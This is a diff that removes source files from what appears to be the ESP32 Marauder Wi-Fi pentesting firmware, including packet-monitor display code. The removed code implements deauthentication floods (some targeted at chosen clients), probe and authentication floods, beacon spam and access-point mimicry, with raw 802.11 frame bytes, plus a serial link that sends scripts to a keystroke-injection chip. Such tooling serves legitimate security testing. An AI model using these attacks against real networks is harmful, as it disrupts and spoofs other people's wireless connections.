-              display_obj.tftDrawChannelScaleButtons(set_channel);
-              display_obj.tftDrawExitScaleButtons();
-              break;
-            }
-          }
-  
-          // Y - button pressed
-          else if (b == 2) {
-            if (y_scale > 1) {
-              y_scale--;
-              delay(70);
-              display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
-              display_obj.tftDrawXScaleButtons(x_scale);
-              display_obj.tftDrawYScaleButtons(y_scale);
-              display_obj.tftDrawChannelScaleButtons(set_channel);
-              display_obj.tftDrawExitScaleButtons();
-              //updateMidway();
-              break;
-            }
-          }
-  
-          // Y + button pressed
-          else if (b == 3) {
-            if (y_scale < 9) {
-              y_scale++;
-              delay(70);
-              display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
-              display_obj.tftDrawXScaleButtons(x_scale);
-              display_obj.tftDrawYScaleButtons(y_scale);
-              display_obj.tftDrawChannelScaleButtons(set_channel);
-              display_obj.tftDrawExitScaleButtons();
-              //updateMidway();
-              break;
-            }
-          }
-  
-          // Channel - button pressed
-          else if (b == 4) {
-            if (set_channel > 1) {
-              Serial.println("Shit channel down");
-              set_channel--;
-              delay(70);
-              display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
-              display_obj.tftDrawXScaleButtons(x_scale);
-              display_obj.tftDrawYScaleButtons(y_scale);
-              display_obj.tftDrawChannelScaleButtons(set_channel);
-              display_obj.tftDrawExitScaleButtons();
-              changeChannel();
-              break;
-            }
-          }
-  
-          // Channel + button pressed
-          else if (b == 5) {
-            if (set_channel < MAX_CHANNEL) {
-              Serial.println("Shit channel up");
-              set_channel++;
-              delay(70);
-              display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
-              display_obj.tftDrawXScaleButtons(x_scale);
-              display_obj.tftDrawYScaleButtons(y_scale);
-              display_obj.tftDrawChannelScaleButtons(set_channel);
-              display_obj.tftDrawExitScaleButtons();
-              changeChannel();
-              break;
-            }
-          }
-          else if (b == 6) {
-            Serial.println("Exiting packet monitor...");
-            this->StartScan(WIFI_SCAN_OFF);
-            //display_obj.tft.init();
-            this->orient_display = true;
-            return;
-          }
-        }
-      }
-  
-      if (currentTime - initTime >= GRAPH_REFRESH) {
-        //Serial.println("-----------------------------------------");
-        //Serial.println("Time elapsed: " + (String)(currentTime - initTime) + "ms");
-        x_pos += x_scale;
-        initTime = millis();
-        y_pos_x = ((-num_beacon * (y_scale * 3)) + (HEIGHT_1 - 2)); // GREEN
-        y_pos_y = ((-num_deauth * (y_scale * 3)) + (HEIGHT_1 - 2)); // RED
-        y_pos_z = ((-num_probe * (y_scale * 3)) + (HEIGHT_1 - 2)); // BLUE
-  
-        //Serial.println("num_beacon: " + (String)num_beacon);
-        //Serial.println("num_deauth: " + (String)num_deauth);
-        //Serial.println(" num_probe: " + (String)num_probe);
-    
-        num_beacon = 0;
-        num_probe = 0;
-        num_deauth = 0;
-        
-        //CODE FOR PLOTTING CONTINUOUS LINES!!!!!!!!!!!!
-        //Plot "X" value
-        display_obj.tft.drawLine(x_pos - x_scale, y_pos_x_old, x_pos, y_pos_x, TFT_GREEN);
-        //Plot "Z" value
-        display_obj.tft.drawLine(x_pos - x_scale, y_pos_z_old, x_pos, y_pos_z, TFT_BLUE);
-        //Plot "Y" value
-        display_obj.tft.drawLine(x_pos - x_scale, y_pos_y_old, x_pos, y_pos_y, TFT_RED);
-        
-        //Draw preceding black 'boxes' to erase old plot lines, !!!WEIRD CODE TO COMPENSATE FOR BUTTONS AND COLOR KEY SO 'ERASER' DOESN'T ERASE BUTTONS AND COLOR KEY!!!
-        //if ((x_pos <= 90) || ((x_pos >= 198) && (x_pos <= 320))) //above x axis
-        if ((x_pos <= 90) || ((x_pos >= 117) && (x_pos <= 320))) //above x axis
-        {
-          display_obj.tft.fillRect(x_pos+1, 28, 10, 93, TFT_BLACK); //compensate for buttons!
-        }
-        else
-        {
-          display_obj.tft.fillRect(x_pos+1, 0, 10, 121, TFT_BLACK); //don't compensate for buttons!
-        }
-        //if ((x_pos >= 254) && (x_pos <= 320)) //below x axis
-        //if (x_pos <= 90)
-        if (x_pos < 0) // below x axis
-        {
-          //tft.fillRect(x_pos+1, 121, 10, 88, TFT_BLACK);
-          display_obj.tft.fillRect(x_pos+1, 121, 10, 88, TFT_CYAN);
-        }
-        else
-        {
-          //tft.fillRect(x_pos+1, 121, 10, 119, TFT_BLACK);
-          display_obj.tft.fillRect(x_pos+1, 121, 10, 118, TFT_BLACK);
-        }
-        
-        //tftDisplayTime();
-        
-        if ( (y_pos_x == 120) || (y_pos_y == 120) || (y_pos_z == 120) )
-        {
-          display_obj.tft.drawFastHLine(10, 120, 310, TFT_WHITE); // x axis
-        }
-         
-        y_pos_x_old = y_pos_x; //set old y pos values to current y pos values 
-        y_pos_y_old = y_pos_y;
-        y_pos_z_old = y_pos_z;
-    
-        //delay(50);
-      }
-  
-      sd_obj.main();
-     
-    }
-    
-    display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); //erase XY buttons and any lines behind them
-    //tft.fillRect(56, 0, 66, 32, TFT_ORANGE); //erase time and color key and any stray lines behind them
-    display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // key
-    
-    display_obj.tftDrawXScaleButtons(x_scale); //redraw stuff
-    display_obj.tftDrawYScaleButtons(y_scale);
-    display_obj.tftDrawChannelScaleButtons(set_channel);
-    display_obj.tftDrawExitScaleButtons();
-    display_obj.tftDrawColorKey();
-    display_obj.tftDrawGraphObjects(x_scale);
-  }
-#endif
-
-//void WiFiScan::sniffer_callback(void* buf, wifi_promiscuous_pkt_type_t type) {
-//  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
-//  showMetadata(snifferPacket, type);
-//}
-
-void WiFiScan::changeChannel(int chan) {
-  this->set_channel = chan;
-  esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
-  delay(1);
-}
-
-void WiFiScan::changeChannel()
-{
-  esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
-  delay(1);
-}
-
-// Function to cycle to the next channel
-void WiFiScan::channelHop()
-{
-  this->set_channel = this->set_channel + 1;
-  if (this->set_channel > 13) {
-    this->set_channel = 1;
-  }
-  esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
-  delay(1);
-}
-
-char* WiFiScan::stringToChar(String string) {
-  char buf[string.length() + 1] = {};
-  string.toCharArray(buf, string.length() + 1);
-
-  return buf;
-}
-
-
-// Function for updating scan status
-void WiFiScan::main(uint32_t currentTime)
-{
-  // WiFi operations
-  if ((currentScanMode == WIFI_SCAN_PROBE) ||
-  (currentScanMode == WIFI_SCAN_AP) ||
-  (currentScanMode == WIFI_SCAN_STATION) ||
-  (currentScanMode == WIFI_SCAN_TARGET_AP) ||
-  (currentScanMode == WIFI_SCAN_PWN) ||
-  (currentScanMode == WIFI_SCAN_ESPRESSIF) ||
-  (currentScanMode == WIFI_SCAN_DEAUTH) ||
-  (currentScanMode == WIFI_SCAN_ALL))
-  {
-    if (currentTime - initTime >= this->channel_hop_delay * 1000)
-    {
-      initTime = millis();
-      channelHop();
-    }
-  }
-  else if (currentScanMode == WIFI_PACKET_MONITOR)
-  {
-    #ifdef HAS_SCREEN
-      #ifndef MARAUDER_MINI
-        packetMonitorMain(currentTime);
-      #endif
-    #endif
-  }
-  else if (currentScanMode == WIFI_SCAN_EAPOL)
-  {
-    #ifdef HAS_SCREEN
-      #ifndef MARAUDER_MINI
-        eapolMonitorMain(currentTime);
-      #endif
-    #endif
-  }
-  else if (currentScanMode == WIFI_SCAN_ACTIVE_EAPOL)
-  {
-    #ifdef HAS_SCREEN
-      eapolMonitorMain(currentTime);
-    #endif
-  }
-  else if (currentScanMode == WIFI_ATTACK_AUTH) {
-    for (int i = 0; i < 55; i++)
-      this->sendProbeAttack(currentTime);
-
-    if (currentTime - initTime >= 1000) {
-      initTime = millis();
-      String displayString = "";
-      String displayString2 = "";
-      displayString.concat(text18);
-      displayString.concat(packets_sent);
-      for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
-        displayString2.concat(" ");
-      #ifdef HAS_SCREEN
-        display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
-        display_obj.showCenterText(displayString2, 160);
-        display_obj.showCenterText(displayString, 160);
-      #endif
-      packets_sent = 0;
-    }
-  }
-  else if (currentScanMode == WIFI_ATTACK_DEAUTH) {
-    for (int i = 0; i < 55; i++)
-      this->sendDeauthAttack(currentTime, this->dst_mac);
-
-    if (currentTime - initTime >= 1000) {
-      initTime = millis();
-      String displayString = "";
-      String displayString2 = "";
-      displayString.concat(text18);
-      displayString.concat(packets_sent);
-      for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
-        displayString2.concat(" ");
-      #ifdef HAS_SCREEN
-        display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
-        display_obj.showCenterText(displayString2, 160);
-        display_obj.showCenterText(displayString, 160);
-      #endif
-      packets_sent = 0;
-    }
-  }
-  else if (currentScanMode == WIFI_ATTACK_DEAUTH_MANUAL) {
-    for (int i = 0; i < 55; i++)
-      this->sendDeauthFrame(this->src_mac, this->set_channel, this->dst_mac);
-
-    if (currentTime - initTime >= 1000) {
-      initTime = millis();
-      String displayString = "";
-      String displayString2 = "";
-      displayString.concat(text18);
-      displayString.concat(packets_sent);
-      for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
-        displayString2.concat(" ");
-      #ifdef HAS_SCREEN
-        display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
-        display_obj.showCenterText(displayString2, 160);
-        display_obj.showCenterText(displayString, 160);
-      #endif
-      packets_sent = 0;
-    }
-  }
-  else if (currentScanMode == WIFI_ATTACK_DEAUTH_TARGETED) {
-    // Loop through each AP
-    for (int x = 0; x < access_points->size(); x++) {
-      // Only get selected APs
-      if (access_points->get(x).selected) {
-        AccessPoint cur_ap = access_points->get(x);
-        // Loop through each AP's Station
-        for (int i = 0; i < cur_ap.stations->size(); i++) {
-          // Only get selected Stations
-          if (stations->get(cur_ap.stations->get(i)).selected) {
-            Station cur_sta = stations->get(cur_ap.stations->get(i));
-
-            // Send deauths for each selected AP's selected Station
-            for (int y = 0; y < 25; y++)
-              this->sendDeauthFrame(cur_ap.bssid, cur_ap.channel, cur_sta.mac);
-
-            // Display packets sent on screen
-            if (currentTime - initTime >= 1000) {
-              initTime = millis();
-              String displayString = "";
-              String displayString2 = "";
-              displayString.concat(text18);
-              displayString.concat(packets_sent);
-              for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
-                displayString2.concat(" ");
-              #ifdef HAS_SCREEN
-                display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
-                display_obj.showCenterText(displayString2, 160);
-                display_obj.showCenterText(displayString, 160);
-              #endif
-              packets_sent = 0;
-            }
-          }
-        }
-      }
-    }
-  }
-  else if ((currentScanMode == WIFI_ATTACK_MIMIC)) {
-    // Need this for loop because getTouch causes ~10ms delay
-    // which makes beacon spam less effective
-    for (int i = 0; i < access_points->size(); i++) {
-      if (access_points->get(i).selected)
-        this->broadcastCustomBeacon(currentTime, ssid{access_points->get(i).essid, {random(256), 
-                                                                                    random(256), 
-                                                                                    random(256), 
-                                                                                    random(256), 
-                                                                                    random(256), 
-                                                                                    random(256)}});
-    }
-      
-
-    if (currentTime - initTime >= 1000)
-    {
-      initTime = millis();
-      //Serial.print("packets/sec: ");
-      //Serial.println(packets_sent);
-      String displayString = "";
-      String displayString2 = "";
-      displayString.concat(text18);
-      displayString.concat(packets_sent);
-      for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
-        displayString2.concat(" ");
-      #ifdef HAS_SCREEN
-        display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
-        display_obj.showCenterText(displayString2, 160);
-        display_obj.showCenterText(displayString, 160);
-      #endif
-      packets_sent = 0;
-    }
-  }
-  else if ((currentScanMode == WIFI_ATTACK_BEACON_SPAM))
-  {
-    // Need this for loop because getTouch causes ~10ms delay
-    // which makes beacon spam less effective
-    for (int i = 0; i < 55; i++)
-      broadcastRandomSSID(currentTime);
-
-    if (currentTime - initTime >= 1000)
-    {
-      initTime = millis();
-      //Serial.print("packets/sec: ");
-      //Serial.println(packets_sent);
-      String displayString = "";
-      String displayString2 = "";
-      displayString.concat(text18);
-      displayString.concat(packets_sent);
-      for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
-        displayString2.concat(" ");
-      #ifdef HAS_SCREEN
-        display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
-        display_obj.showCenterText(displayString2, 160);
-        display_obj.showCenterText(displayString, 160);
-      #endif
-      packets_sent = 0;
-    }
-  }
-  else if ((currentScanMode == WIFI_ATTACK_BEACON_LIST)) {
-    for (int i = 0; i < ssids->size(); i++)
-      this->broadcastCustomBeacon(currentTime, ssids->get(i));
-
-    if (currentTime - initTime >= 1000)
-    {
-      initTime = millis();
-      packets_sent = 0;
-    }
-  }
-  else if ((currentScanMode == WIFI_ATTACK_AP_SPAM)) {
-    for (int i = 0; i < access_points->size(); i++) {
-      if (access_points->get(i).selected)
-        this->broadcastCustomBeacon(currentTime, access_points->get(i));
-    }
-
-    if (currentTime - initTime >= 1000) {
-      initTime = millis();
-      packets_sent = 0;
-    }
-  }
-  else if ((currentScanMode == WIFI_ATTACK_RICK_ROLL))
-  {
-    // Need this for loop because getTouch causes ~10ms delay
-    // which makes beacon spam less effective
-    for (int i = 0; i < 7; i++)
-    {
-      for (int x = 0; x < (sizeof(rick_roll)/sizeof(char *)); x++)
-      {
-        broadcastSetSSID(currentTime, rick_roll[x]);
-      }
-    }
-
-    if (currentTime - initTime >= 1000)
-    {
-      initTime = millis();
-      //Serial.print("packets/sec: ");
-      //Serial.println(packets_sent);
-      String displayString = "";
-      String displayString2 = "";
-      displayString.concat(text18);
-      displayString.concat(packets_sent);
-      for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
-        displayString2.concat(" ");
-      #ifdef HAS_SCREEN
-        display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
-        display_obj.showCenterText(displayString2, 160);
-        display_obj.showCenterText(displayString, 160);
-      #endif
-      packets_sent = 0;
-    }
-  }
-}

esp32_marauder/WiFiScan.h

@@ -1,353 +0,0 @@
-#ifndef WiFiScan_h
-#define WiFiScan_h
-
-#include "configs.h"
-
-//#include <BLEDevice.h>
-//#include <BLEUtils.h>
-//#include <BLEScan.h>
-//#include <BLEAdvertisedDevice.h>
-#include <ArduinoJson.h>
-
-// Testing NimBLE
-#ifdef HAS_BT
-  #include <NimBLEDevice.h>
-#endif
-
-#include <WiFi.h>
-#include <math.h>
-#include "esp_wifi.h"
-#include "esp_wifi_types.h"
-#ifdef HAS_BT
-  #include "esp_bt.h"
-#endif
-#ifdef HAS_SCREEN
-  #include "Display.h"
-#endif
-#ifdef USE_SD_MMC_ALTERNATIVE
-#include "SD_MMCInterface.h"
-#else
-#include "SDInterface.h"
-#endif
-#include "Buffer.h"
-#include "BatteryInterface.h"
-#include "TemperatureInterface.h"
-#include "settings.h"
-#include "Assets.h"
-#include "flipperLED.h"
-#include "LedInterface.h"
-//#include "MenuFunctions.h"
-
-#define bad_list_length 3
-
-#define OTA_UPDATE 100
-#define SHOW_INFO 101
-#define ESP_UPDATE 102
-#define WIFI_SCAN_OFF 0
-#define WIFI_SCAN_PROBE 1
-#define WIFI_SCAN_AP 2
-#define WIFI_SCAN_PWN 3
-#define WIFI_SCAN_EAPOL 4
-#define WIFI_SCAN_DEAUTH 5
-#define WIFI_SCAN_ALL 6
-#define WIFI_PACKET_MONITOR 7
-#define WIFI_ATTACK_BEACON_SPAM 8
-#define WIFI_ATTACK_RICK_ROLL 9
-#define BT_SCAN_ALL 10
-#define BT_SCAN_SKIMMERS 11
-#define WIFI_SCAN_ESPRESSIF 12
-#define LV_JOIN_WIFI 13
-#define LV_ADD_SSID 14
-#define WIFI_ATTACK_BEACON_LIST 15
-#define WIFI_SCAN_TARGET_AP 16
-#define LV_SELECT_AP 17
-#define WIFI_ATTACK_AUTH 18
-#define WIFI_ATTACK_MIMIC 19
-#define WIFI_ATTACK_DEAUTH 20
-#define WIFI_ATTACK_AP_SPAM 21
-#define WIFI_SCAN_TARGET_AP_FULL 22
-#define WIFI_SCAN_ACTIVE_EAPOL 23
-#define WIFI_ATTACK_DEAUTH_MANUAL 24
-#define WIFI_SCAN_RAW_CAPTURE 25
-#define WIFI_SCAN_STATION 26
-#define WIFI_ATTACK_DEAUTH_TARGETED 27
-
-#define GRAPH_REFRESH 100
-
-#define MAX_CHANNEL 14
-
-#ifdef HAS_SCREEN
-  extern Display display_obj;
-#endif
-extern SDInterface sd_obj;
-extern Buffer buffer_obj;
-extern BatteryInterface battery_obj;
-extern TemperatureInterface temp_obj;
-extern Settings settings_obj;
-extern flipperLED flipper_led;
-extern LedInterface led_obj;
-
-esp_err_t esp_wifi_80211_tx(wifi_interface_t ifx, const void *buffer, int len, bool en_sys_seq);
-//int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3);
-
-struct ssid {
-  String essid;
-  int bssid[6];
-  bool selected;
-};
-
-struct AccessPoint {
-  String essid;
-  int channel;
-  int bssid[6];
-  bool selected;
-  LinkedList<char>* beacon;
-  int rssi;
-  LinkedList<int>* stations;
-};
-
-struct Station {
-  uint8_t mac[6];
-  bool selected;
-};
-
-class WiFiScan
-{
-  private:
-    // Settings
-    int channel_hop_delay = 1;
-    bool force_pmkid = false;
-    bool force_probe = false;
-    bool save_pcap = false;
-  
-    int x_pos; //position along the graph x axis
-    float y_pos_x; //current graph y axis position of X value
-    float y_pos_x_old = 120; //old y axis position of X value
-    float y_pos_y; //current graph y axis position of Y value
-    float y_pos_y_old = 120; //old y axis position of Y value
-    float y_pos_z; //current graph y axis position of Z value
-    float y_pos_z_old = 120; //old y axis position of Z value
-    int midway = 0;
-    byte x_scale = 1; //scale of graph x axis, controlled by touchscreen buttons
-    byte y_scale = 1;
-
-    bool do_break = false;
-
-    bool wsl_bypass_enabled = false;
-
-    //int num_beacon = 0; // GREEN
-    //int num_probe = 0; // BLUE
-    //int num_deauth = 0; // RED
-
-    uint32_t initTime = 0;
-    bool run_setup = true;
-    void initWiFi(uint8_t scan_mode);
-    int bluetoothScanTime = 5;
-    int packets_sent = 0;
-    const wifi_promiscuous_filter_t filt = {.filter_mask=WIFI_PROMIS_FILTER_MASK_MGMT | WIFI_PROMIS_FILTER_MASK_DATA};
-    #ifdef HAS_BT
-      NimBLEScan* pBLEScan;
-    #endif
-
-    //String connected_network = "";
-    String alfa = "1234567890qwertyuiopasdfghjkklzxcvbnm QWERTYUIOPASDFGHJKLZXCVBNM_";
-
-    char* rick_roll[8] = {
-      "01 Never gonna give you up",
-      "02 Never gonna let you down",
-      "03 Never gonna run around",
-      "04 and desert you",
-      "05 Never gonna make you cry",
-      "06 Never gonna say goodbye",
-      "07 Never gonna tell a lie",
-      "08 and hurt you"
-    };
-
-    char* prefix = "G";
-
-    typedef struct
-    {
-      int16_t fctl;
-      int16_t duration;
-      uint8_t da;
-      uint8_t sa;
-      uint8_t bssid;
-      int16_t seqctl;
-      unsigned char payload[];
-    } __attribute__((packed)) WifiMgmtHdr;
-    
-    typedef struct {
-      uint8_t payload[0];
-      WifiMgmtHdr hdr;
-    } wifi_ieee80211_packet_t;
-
-    // barebones packet
-    uint8_t packet[128] = { 0x80, 0x00, 0x00, 0x00, //Frame Control, Duration
-                    /*4*/   0xff, 0xff, 0xff, 0xff, 0xff, 0xff, //Destination address 
-                    /*10*/  0x01, 0x02, 0x03, 0x04, 0x05, 0x06, //Source address - overwritten later
-                    /*16*/  0x01, 0x02, 0x03, 0x04, 0x05, 0x06, //BSSID - overwritten to the same as the source address
-                    /*22*/  0xc0, 0x6c, //Seq-ctl
-                    /*24*/  0x83, 0x51, 0xf7, 0x8f, 0x0f, 0x00, 0x00, 0x00, //timestamp - the number of microseconds the AP has been active
-                    /*32*/  0x64, 0x00, //Beacon interval
-                    /*34*/  0x01, 0x04, //Capability info
-                    /* SSID */
-                    /*36*/  0x00
-                    };
-
-    /*uint8_t auth_packet[128] = {0xB0, 0x00, 0x3C, 0x00, // Frame Control, Duration
-                                0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Dest
-                                0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source
-                                0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Dest BSSID
-                                0x00, 0x01, // Sequence number
-                                0x00, 0x00, // Algo
-                                0x01, 0x00, // Auth sequence number
-                                0x00, 0x00, // Status Code
-                                0x7F, 0x08,
-                                0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x40,
-                                0xDD, 0x0B, 0x00, 0x17, 0xF2, 0x0A, 0x00, 0x01, // Say it was Apple
-                                0x04, 0x00, 0x00, 0x00, 0x00, 0xDD, 0x0A, 0x00,
-                                0x10, 0x18, 0x02, 0x00, 0x00, 0x10, 0x00, 0x00,
-                                0x00
-                                };*/
-    uint8_t auth_packet[65] = {0xb0, 0x00, 0x3c, 0x00, 
-                              0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 
-                              0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 
-                              0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 
-                              0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 
-                              0x7f, 0x08, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 
-                              0x00, 0x40, 0xdd, 0x0b, 0x00, 0x17, 0xf2, 0x0a, 
-                              0x00, 0x01, 0x04, 0x00, 0x00, 0x00, 0x00, 0xdd, 
-                              0x0a, 0x00, 0x10, 0x18, 0x02, 0x00, 0x00, 0x10, 
-                              0x00, 0x00, 0x00};
-
-    uint8_t prob_req_packet[128] = {0x40, 0x00, 0x00, 0x00, 
-                                  0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // Destination
-                                  0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source
-                                  0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // Dest
-                                  0x01, 0x00, // Sequence
-                                  0x00, // SSID Parameter
-                                  0x00, // SSID Length
-                                  /* SSID */
-                                  };
-
-    uint8_t deauth_frame_default[26] = {
-                              0xc0, 0x00, 0x3a, 0x01,
-                              0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
-                              0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-                              0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
-                              0xf0, 0xff, 0x02, 0x00
-                          };
-
-    void startWiFiAttacks(uint8_t scan_mode, uint16_t color, String title_string);
-
-    void packetMonitorMain(uint32_t currentTime);
-    void eapolMonitorMain(uint32_t currentTime);
-    void updateMidway();
-    void tftDrawXScalButtons();
-    void tftDrawYScaleButtons();
-    void tftDrawChannelScaleButtons();
-    void tftDrawColorKey();
-    void tftDrawGraphObjects();
-    void sendProbeAttack(uint32_t currentTime);
-    void sendDeauthAttack(uint32_t currentTime, String dst_mac_str = "ff:ff:ff:ff:ff:ff");
-    void sendDeauthFrame(uint8_t bssid[6], int channel, String dst_mac_str = "ff:ff:ff:ff:ff:ff");
-    void sendDeauthFrame(int bssid[6], int channel, uint8_t mac[6]);
-    void broadcastRandomSSID(uint32_t currentTime);
-    void broadcastCustomBeacon(uint32_t current_time, ssid custom_ssid);
-    void broadcastCustomBeacon(uint32_t current_time, AccessPoint custom_ssid);
-    void broadcastSetSSID(uint32_t current_time, char* ESSID);
-    void RunAPScan(uint8_t scan_mode, uint16_t color);
-    //void RunRickRoll(uint8_t scan_mode, uint16_t color);
-    //void RunBeaconSpam(uint8_t scan_mode, uint16_t color);
-    //void RunProbeFlood(uint8_t scan_mode, uint16_t color);
-    //void RunDeauthFlood(uint8_t scan_mode, uint16_t color);
-    void RunMimicFlood(uint8_t scan_mode, uint16_t color);
-    //void RunBeaconList(uint8_t scan_mode, uint16_t color);
-    void RunEspressifScan(uint8_t scan_mode, uint16_t color);
-    void RunPwnScan(uint8_t scan_mode, uint16_t color);
-    void RunBeaconScan(uint8_t scan_mode, uint16_t color);
-    void RunRawScan(uint8_t scan_mode, uint16_t color);
-    void RunStationScan(uint8_t scan_mode, uint16_t color);
-    void RunDeauthScan(uint8_t scan_mode, uint16_t color);
-    void RunEapolScan(uint8_t scan_mode, uint16_t color);
-    void RunProbeScan(uint8_t scan_mode, uint16_t color);
-    void RunPacketMonitor(uint8_t scan_mode, uint16_t color);
-    void RunBluetoothScan(uint8_t scan_mode, uint16_t color);
-    void RunLvJoinWiFi(uint8_t scan_mode, uint16_t color);
-    #ifdef HAS_BT
-      static void scanCompleteCB(BLEScanResults scanResults);
-    #endif
-
-    //int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3);
-
-  public:
-    WiFiScan();
-
-    //AccessPoint ap_list;
-
-    //LinkedList<ssid>* ssids;
-
-    int set_channel = 1;
-
-    int old_channel = 0;
-
-    bool orient_display = false;
-    bool wifi_initialized = false;
-    bool ble_initialized = false;
-
-    String free_ram = "";
-    String old_free_ram = "";
-    String connected_network = "";
-
-    String dst_mac = "ff:ff:ff:ff:ff:ff";
-    byte src_mac[6] = {};
-
-    //lv_obj_t * scr = lv_cont_create(NULL, NULL);
-
-    wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT(); 
-
-    char* stringToChar(String string);
-    void RunSetup();
-    int clearSSIDs();
-    int clearAPs();
-    int clearStations();
-    bool addSSID(String essid);
-    int generateSSIDs(int count = 20);
-    bool shutdownWiFi();
-    bool shutdownBLE();
-    bool scanning();
-    void joinWiFi(String ssid, String password);
-    String getStaMAC();
-    String getApMAC();
-    String freeRAM();
-    void changeChannel();
-    void changeChannel(int chan);
-    void RunInfo();
-    void RunShutdownWiFi();
-    void RunShutdownBLE();
-    void RunGenerateSSIDs(int count = 20);
-    void RunClearSSIDs();
-    void RunClearAPs();
-    void RunClearStations();
-    void channelHop();
-    uint8_t currentScanMode = 0;
-    void main(uint32_t currentTime);
-    void StartScan(uint8_t scan_mode, uint16_t color = 0);
-    void StopScan(uint8_t scan_mode);
-    
-    static void getMAC(char *addr, uint8_t* data, uint16_t offset);
-    static void espressifSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
-    static void pwnSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
-    static void beaconSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
-    static void rawSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
-    static void stationSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
-    static void apSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
-    static void apSnifferCallbackFull(void* buf, wifi_promiscuous_pkt_type_t type);
-    static void deauthSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
-    static void probeSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
-    static void beaconListSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
-    static void activeEapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
-    static void eapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
-    static void wifiSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
-};
-#endif

esp32_marauder/a32u4_interface.cpp

@@ -1,69 +0,0 @@
-#include "a32u4_interface.h"
-
-HardwareSerial MySerial_two(2);
-
-void A32u4Interface::begin() {
-  MySerial_two.begin(BAUD32U4, SERIAL_8N1, 25, 4);
-
-  delay(2000);
-
-  Serial.println("Setup A32U4 Serial Interface");
-
-  MySerial_two.println("DELAY 1");
-
-  delay(1000);
-
-  uint8_t a32u4_rep = 0;
-
-  if (MySerial_two.available()) {
-    a32u4_rep = (uint8_t)MySerial_two.read();
-  }
-
-  //display_string.trim();
-
-  //Serial.println("\nDisplay string: " + (String)display_string);
-
-  if (a32u4_rep != 0) {
-    this->supported = true;
-    #ifdef HAS_SCREEN
-      display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
-      display_obj.tft.println("ATmega32U4 Found!");
-      display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
-    #endif
-  }
-  else {
-    #ifdef HAS_SCREEN
-      display_obj.tft.setTextColor(TFT_RED, TFT_BLACK);
-      display_obj.tft.println("ATmega32U4 Not Found");
-      display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
-    #endif
-    Serial.print("A32U4 Said: ");
-    Serial.println(a32u4_rep);
-  }
-
-  this->initTime = millis();
-}
-
-void A32u4Interface::runScript(String script) {
-  MySerial_two.println(script);
-}
-
-void A32u4Interface::test() {
-  MySerial_two.println("STRING Hello, World!");
-}
-
-void A32u4Interface::main(uint32_t current_time) {
-
-  if (current_time - this->initTime >= 1000) {
-    this->initTime = millis();
-    //MySerial_two.write("PING");
-
-    //delay(1);
-    
-    if (MySerial_two.available()) {
-      Serial.println("Got A32U4 Serial data");
-      Serial.println(MySerial_two.read());
-    }
-  }
-
-}

esp32_marauder/a32u4_interface.h

@@ -1,30 +0,0 @@
-#ifndef a32u4_interface_h
-#define a32u4_interface_h
-
-#include "configs.h"
-
-#ifdef HAS_SCREEN
-  #include "Display.h"
-#endif
-#include <HardwareSerial.h>
-
-#define BAUD32U4 115200
-
-#ifdef HAS_SCREEN
-  extern Display display_obj;
-#endif
-
-class A32u4Interface {
-  public:
-    bool supported = false;
-
-    uint32_t initTime;
-
-    void begin();
-
-    void main(uint32_t current_time);
-    void test();
-    void runScript(String script);
-};
-
-#endif

esp32_marauder/configs.h

@@ -1,430 +0,0 @@
-#ifndef configs_h
-
-  #define configs_h
-
